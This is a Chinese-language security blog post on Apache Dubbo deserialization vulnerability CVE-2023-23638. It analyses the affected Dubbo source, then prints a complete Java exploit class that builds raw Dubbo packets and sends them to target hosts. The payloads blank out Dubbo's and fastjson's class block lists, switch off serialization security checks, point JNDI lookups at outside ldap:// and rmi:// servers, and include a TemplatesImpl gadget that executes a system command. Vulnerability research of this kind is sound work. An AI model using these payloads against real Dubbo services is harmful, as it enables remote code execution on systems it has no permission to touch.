dubbo 反序列化漏洞CVE-2023-23638
环境
参考https://github.com/lz2y/DubboPOC
需要下载zookeeper
复现
前面的触发方式不详述(太复杂了,学不会),参考:https://xz.aliyun.com/t/12333
从GenericFilter开始分析
if (StringUtils.isEmpty(generic)
|| ProtocolUtils.isDefaultGenericSerialization(generic)
|| ProtocolUtils.isGenericReturnRawResult(generic)) {
try {
args = PojoUtils.realize(args, params, method.getGenericParameterTypes());
} catch (IllegalArgumentException e) {
throw new RpcException(e);
}
}
当获取到generic的值为raw.return时候,调用到PojoUtils.realize方法。
下面是PojoUtils.realize->realize0的关键代码
Method method = getSetterMethod(dest.getClass(), name, value.getClass());
if (method != null) {
Type ptype = method.getGenericParameterTypes()[0];
value = realize0(value, method.getParameterTypes()[0], ptype, history);
try {
method.invoke(dest, value);
} catch (Exception e) {
String exceptionDescription = "Failed to set pojo " + dest.getClass().getSimpleName() + " property " + name
+ " value " + value.getClass() + ", cause: " + e.getMessage();
logger.error(exceptionDescription, e);
throw new RuntimeException(exceptionDescription, e);
}
} else {
Field field = getField(dest.getClass(), name);
if (field != null) {
value = realize0(value, field.getType(), field.getGenericType(), history);
try {
field.set(dest, value);
} catch (IllegalAccessException e) {
String exceptionDescription = "Failed to set field " + name + " of pojo " + dest.getClass().getName() + " : " + e.getMessage();
throw new RuntimeException(exceptionDescription, e);
}
}
}
关键步骤就是先获取class键所对应的值的class里面的getter方法,这个getter方法取决于map中下一个键值对,键为其getter的属性名,值为其值。如果没有这个属性的getter方法,那么就直接反射来设置其值。所以就有了这个漏洞。
基于之前的漏洞,dubbo加入了SerializeClassChecker来进行验证。
if (pojo instanceof Map<?, ?> && type != null) {
Map<Object, Object> map = (Map<Object, Object>) pojo;
Object className = ((Map<Object, Object>) pojo).get("class");
if (className instanceof String) {
SerializeClassChecker.getInstance().validateClass((String) className);
try {
type = ClassUtils.forName((String) className);
if (GENERIC_WITH_CLZ) {
map.remove("class");
}
} catch (ClassNotFoundException e) {
// ignore
}
}
查看其源码:
public static SerializeClassChecker getInstance() {
if (INSTANCE == null) {
synchronized (SerializeClassChecker.class) {
if (INSTANCE == null) {
INSTANCE = new SerializeClassChecker();
}
}
}
return INSTANCE;
}
明显的单例模式,可以用下面的poc来将其黑名单置空:
private static void getBypassPayload(Hessian2ObjectOutput out) throws IOException {
HashMap<String, Object> instanceMap = new HashMap<>();
instanceMap.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
instanceMap.put("CLASS_DESERIALIZE_BLOCKED_SET", new ConcurrentHashSet<>());
HashMap<String, Object> scc = new HashMap<>();
scc.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
scc.put("INSTANCE", instanceMap);
out.writeObject(new Object[]{scc});
HashMap<String, Object> map = new HashMap<>();
map.put("generic", "raw.return");
out.writeObject(map);
}
然后就可以用jndi来打了。下面就不详细说了,网上一堆poc。我说说我的新想法。
我比较感兴趣的还是java-native来进行反序列化。
GenericFilter里面有这么一些代码:
} else if (ProtocolUtils.isJavaGenericSerialization(generic)) {
Configuration configuration = ApplicationModel.getEnvironment().getConfiguration();
if (!configuration.getBoolean(CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE, false)) {
String notice = "Trigger the safety barrier! " +
"Native Java Serializer is not allowed by default." +
"This means currently maybe being attacking by others. " +
"If you are sure this is a mistake, " +
"please set `" + CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE + "` enable in configuration! " +
"Before doing so, please make sure you have configure JEP290 to prevent serialization attack.";
logger.error(notice);
throw new RpcException(new IllegalStateException(notice));
}
for (int i = 0; i < args.length; i++) {
if (byte[].class == args[i].getClass()) {
try (UnsafeByteArrayInputStream is = new UnsafeByteArrayInputStream((byte[]) args[i])) {
args[i] = ExtensionLoader.getExtensionLoader(Serialization.class)
.getExtension(GENERIC_SERIALIZATION_NATIVE_JAVA)
.deserialize(null, is).readObject();
} catch (Exception e) {
throw new RpcException("Deserialize argument [" + (i + 1) + "] failed.", e);
}
然后结合https://xz.aliyun.com/t/12396其中的扩展打法,我想有没有fastjson1.83的不出网打法。首先了解到fastjson是有黑名单的,是否能结合dubbo的漏洞将其置空呢?
在JSONObject:
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = desc.getName();
if (name.length() > 2) {
int index = name.lastIndexOf('[');
if (index != -1) {
name = name.substring(index + 1);
}
if (name.length() > 2 && name.charAt(0) == 'L' && name.charAt(name.length() - 1) == ';') {
name = name.substring(1, name.length() - 1);
}
if (TypeUtils.getClassFromMapping(name) == null) {
ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask);
}
}
return super.resolveClass(desc);
}
然后了解到fastjson的黑名单在ParserConfig里面。
同样是单例模式:
public static ParserConfig getGlobalInstance() {
return global;
}
public static ParserConfig global = new ParserConfig();
所以就很好办了
public static void getFastjsonHash(Hessian2ObjectOutput out) throws IOException {
out.writeUTF("2.7.21");
//todo 此处填写Dubbo提供的服务名
out.writeUTF("org.apache.dubbo.samples.api.HelloService");
out.writeUTF("");
out.writeUTF("$invoke");
out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
//todo 此处填写Dubbo提供的服务的方法
out.writeUTF("sayHello");
out.writeObject(new String[] {"java.lang.String"});
HashMap<String, Object> instanceMap = new HashMap<>();
instanceMap.put("class", "com.alibaba.fastjson.parser.ParserConfig");
instanceMap.put("denyHashCodes", new long[]{});
HashMap<String, Object> scc = new HashMap<>();
scc.put("class", "com.alibaba.fastjson.parser.ParserConfig");
scc.put("global", instanceMap);
out.writeObject(new Object[]{scc});
HashMap<String, Object> map = new HashMap<>();
map.put("generic", "raw.return");
out.writeObject(map);
}
舒服,直接Templates反序列化一把嗦。结果寄了。debug半天,找到原因了。由于TemplatesImpl里面的_bytecodes
属性为字节数组
String name = desc.getName();
if (name.length() > 2) {
int index = name.lastIndexOf('[');
if (index != -1) {
name = name.substring(index + 1);
}
if (name.length() > 2 && name.charAt(0) == 'L' && name.charAt(name.length() - 1) == ';') {
name = name.substring(1, name.length() - 1);
}
desc.getName()
其值为[[B。熟悉fastjson的应该知道,在前几个版本有加[
绕过黑名单的打法,然后上面的代码也是这个意思,最终导致name=B
然后TypeUtils.getClassFromMapping(name)
里面,如果name的长度小于3直接报错,即使不报错,java也没有B所对应的类(byte为b)。所以需要一个链子,不能有任何数组。想了半天,dubbo自带的依赖实在找不到,不知道其他依赖是否能打。。。
然后就是数据传输了,poc里面有,然后我还特意去找了一下dubbo这个头部的构造原因:http://moguhu.com/article/detail?articleId=170
并不是很懂,不管了,又不是不能用。
复制粘贴各种poc集成的屎山代码的exp:
package org.apache.dubbo.samples;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.dubbo.common.beanutil.JavaBeanDescriptor;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.io.UnsafeByteArrayOutputStream;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import org.apache.dubbo.common.serialize.nativejava.NativeJavaSerialization;
import org.apache.dubbo.common.utils.ConcurrentHashSet;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.net.Socket;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
public class Exp {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
// set body
out.writeUTF("2.7.21");
//todo 此处填写Dubbo提供的服务名
out.writeUTF("org.apache.dubbo.samples.api.HelloService");
out.writeUTF("");
out.writeUTF("$invoke");
out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
//todo 此处填写Dubbo提供的服务的方法
out.writeUTF("sayHello");
out.writeObject(new String[] {"java.lang.String"});
// Step-1
getBypassPayload(out);
// Step-2
// POC 1: raw.return
// getRawReturnPayload(out, "ldap://47.96.173.116:2333/frwwt1");
// POC 2: bean
// getBeanPayload(out, "rmi://47.96.173.116:8888/Object");
out.flushBuffer();
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写Dubbo服务地址及端口
Socket socket = new Socket("10.10.7.45", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
out.cleanup();
byteArrayOutputStream.close();
Thread.sleep(1000);
byteArrayOutputStream = new ByteArrayOutputStream();
socket = new Socket("10.10.7.45", 20880);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
getInstance(out);
socketFlush(byteArrayOutputStream, header, hessian2ByteArrayOutputStream, out, socket);
Thread.sleep(1000);
byteArrayOutputStream = new ByteArrayOutputStream();
socket = new Socket("10.10.7.45", 20880);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
getProperties(out);
socketFlush(byteArrayOutputStream, header, hessian2ByteArrayOutputStream, out, socket);
Thread.sleep(1000);
byteArrayOutputStream = new ByteArrayOutputStream();
socket = new Socket("192.168.7.45", 20880);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
getFastjsonHash(out);
socketFlush(byteArrayOutputStream, header, hessian2ByteArrayOutputStream, out, socket);
/* Thread.sleep(1000);
失败的fastjson反序列化
byteArrayOutputStream = new ByteArrayOutputStream();
socket = new Socket("10.10.7.45", 20880);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
getMapping(out);
socketFlush(byteArrayOutputStream, header, hessian2ByteArrayOutputStream, out, socket);
Thread.sleep(1000);
byteArrayOutputStream = new ByteArrayOutputStream();
socket = new Socket("10.10.7.45", 20880);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
getObject(out);
socketFlush(byteArrayOutputStream, header, hessian2ByteArrayOutputStream, out, socket);
*/
}
private static void socketFlush(ByteArrayOutputStream byteArrayOutputStream, byte[] header, ByteArrayOutputStream hessian2ByteArrayOutputStream, Hessian2ObjectOutput out, Socket socket) throws IOException {
byte[] bytes;
OutputStream outputStream;
out.flushBuffer();
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
bytes = byteArrayOutputStream.toByteArray();
outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
out.cleanup();
byteArrayOutputStream.close();
}
private static void getBypassPayload(Hessian2ObjectOutput out) throws IOException {
HashMap<String, Object> instanceMap = new HashMap<>();
instanceMap.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
instanceMap.put("CLASS_DESERIALIZE_BLOCKED_SET", new ConcurrentHashSet<>());
HashMap<String, Object> scc = new HashMap<>();
scc.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
scc.put("INSTANCE", instanceMap);
out.writeObject(new Object[]{scc});
HashMap<String, Object> map = new HashMap<>();
map.put("generic", "raw.return");
out.writeObject(map);
}
private static void getRawReturnPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
Map<Object, Object> map2 = new LinkedHashMap<>();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("dataSourceName", ldapUri);
map2.put("autoCommit", true);
out.writeObject(new Object[]{map2});
HashMap<String, Object> map = new HashMap<>();
map.put("generic", "raw.return");
out.writeObject(map);
}
private static void getBeanPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor("org.apache.xbean.propertyeditor.JndiConverter",7);
javaBeanDescriptor.setProperty("asText",ldapUri);
out.writeObject(new Object[]{javaBeanDescriptor});
HashMap<String, Object> map = new HashMap<>();
map.put("generic", "bean");
out.writeObject(map);
}
/*
public static void getMapping(Hessian2ObjectOutput out) throws IOException {
out.writeUTF("2.7.21");
//todo 此处填写Dubbo提供的服务名
out.writeUTF("org.apache.dubbo.samples.api.HelloService");
out.writeUTF("");
out.writeUTF("$invoke");
out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
//todo 此处填写Dubbo提供的服务的方法
out.writeUTF("sayHello");
out.writeObject(new String[] {"java.lang.String"});
HashMap<String, Object> instanceMap = new HashMap<>();
instanceMap.put("class", "com.alibaba.fastjson.util.TypeUtils");
ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap<String, Class<?>>(256, 0.75f, 1);
mappings.put("B", byte[][].class);
mappings.put("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class);
instanceMap.put("mapping", mappings);
out.writeObject(new Object[]{instanceMap});
HashMap<String, Object> map = new HashMap<>();
map.put("generic", "raw.return");
out.writeObject(map);
}
*/
public static void getFastjsonHash(Hessian2ObjectOutput out) throws IOException {
out.writeUTF("2.7.21");
//todo 此处填写Dubbo提供的服务名
out.writeUTF("org.apache.dubbo.samples.api.HelloService");
out.writeUTF("");
out.writeUTF("$invoke");
out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
//todo 此处填写Dubbo提供的服务的方法
out.writeUTF("sayHello");
out.writeObject(new String[] {"java.lang.String"});
HashMap<String, Object> instanceMap = new HashMap<>();
instanceMap.put("class", "com.alibaba.fastjson.parser.ParserConfig");
instanceMap.put("denyHashCodes", new long[]{});
HashMap<String, Object> scc = new HashMap<>();
scc.put("class", "com.alibaba.fastjson.parser.ParserConfig");
scc.put("global", instanceMap);
out.writeObject(new Object[]{scc});
HashMap<String, Object> map = new HashMap<>();
map.put("generic", "raw.return");
out.writeObject(map);
}
public static void getProperties(Hessian2ObjectOutput out) throws IOException {
out.writeUTF("2.7.21");
//todo 此处填写Dubbo提供的服务名
out.writeUTF("org.apache.dubbo.samples.api.HelloService");
out.writeUTF("");
out.writeUTF("$invoke");
out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
//todo 此处填写Dubbo提供的服务的方法
out.writeUTF("sayHello");
out.writeObject(new String[] {"java.lang.String"});
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
out.writeObject(new Object[]{map});
HashMap<String, Object> map2 = new HashMap<>();
map2.put("generic", "raw.return");
out.writeObject(map2);
}
/*
public static void getObject(Hessian2ObjectOutput out) throws Exception{
out.writeUTF("2.7.21");
//todo 此处填写Dubbo提供的服务名
out.writeUTF("org.apache.dubbo.samples.api.HelloService");
out.writeUTF("");
out.writeUTF("$invoke");
out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
//todo 此处填写Dubbo提供的服务的方法
out.writeUTF("sayHello");
out.writeObject(new String[] {"java.lang.String"});
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "test");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
NativeJavaSerialization nativeJavaSerialization =new NativeJavaSerialization();
UnsafeByteArrayOutputStream unsafeByteArrayOutputStream = new UnsafeByteArrayOutputStream();
ObjectOutput o = nativeJavaSerialization.serialize(null, unsafeByteArrayOutputStream);
o.writeObject(val);
out.writeObject(new Object[]{unsafeByteArrayOutputStream.toByteArray()});
HashMap<String, Object> map2 = new HashMap<>();
map2.put("generic", "nativejava");
out.writeObject(map2);
}
*/
private static void getInstance(Hessian2ObjectOutput out) throws IOException {
out.writeUTF("2.7.21");
//todo 此处填写Dubbo提供的服务名
out.writeUTF("org.apache.dubbo.samples.api.HelloService");
out.writeUTF("");
out.writeUTF("$invoke");
out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
//todo 此处填写Dubbo提供的服务的方法
out.writeUTF("sayHello");
out.writeObject(new String[] {"java.lang.String"});
HashMap map = new HashMap();
map.put("class", "java.time.zone.TzdbZoneRulesProvider");
out.writeObject(new Object[]{map});
HashMap<String, Object> map2 = new HashMap<>();
map2.put("generic", "raw.return");
out.writeObject(map2);
}
private static void setValue(Object object, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object, value);
}
}